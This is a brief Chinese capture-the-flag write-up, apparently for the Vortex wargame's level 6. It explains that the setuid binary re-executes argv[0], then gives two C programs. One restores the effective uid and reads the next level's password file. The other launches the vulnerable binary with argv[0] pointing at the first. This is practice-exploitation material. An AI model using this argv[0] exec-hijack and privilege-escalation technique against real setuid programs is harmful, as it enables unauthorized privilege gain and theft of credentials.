反汇编之后,发现同样存在format string。但这次还有一restart函数,检查发现他exec了我们的argv[0]。但是argv[0]可以是任意的内容提交给他,所以我们写一个读密码的程序:
#include <unistd.h>
#include <stdio.h>
int main (int argc, char *argv[]) {
seteuid(5007);
FILE *fp = fopen("/etc/vortex_pass/vortex7", "r");
char buf[128];
size_t numRead = fread(buf, 1, sizeof buf, fp);
buf[numRead] = 0;
printf("%s\n", buf);
return 0;
}
因为在exec过程中,euid被保存到saved uid里,所以我们要先恢复euid。但这里我不知道怎么得到saved uid,只能hard coded
然后写一个程序调用vortex6:
#include <unistd.h>
int main (int argc, char *argv[]) {
char *args[] = {"/tmp/nabla/read",NULL};
execv("/vortex/vortex6", args);
}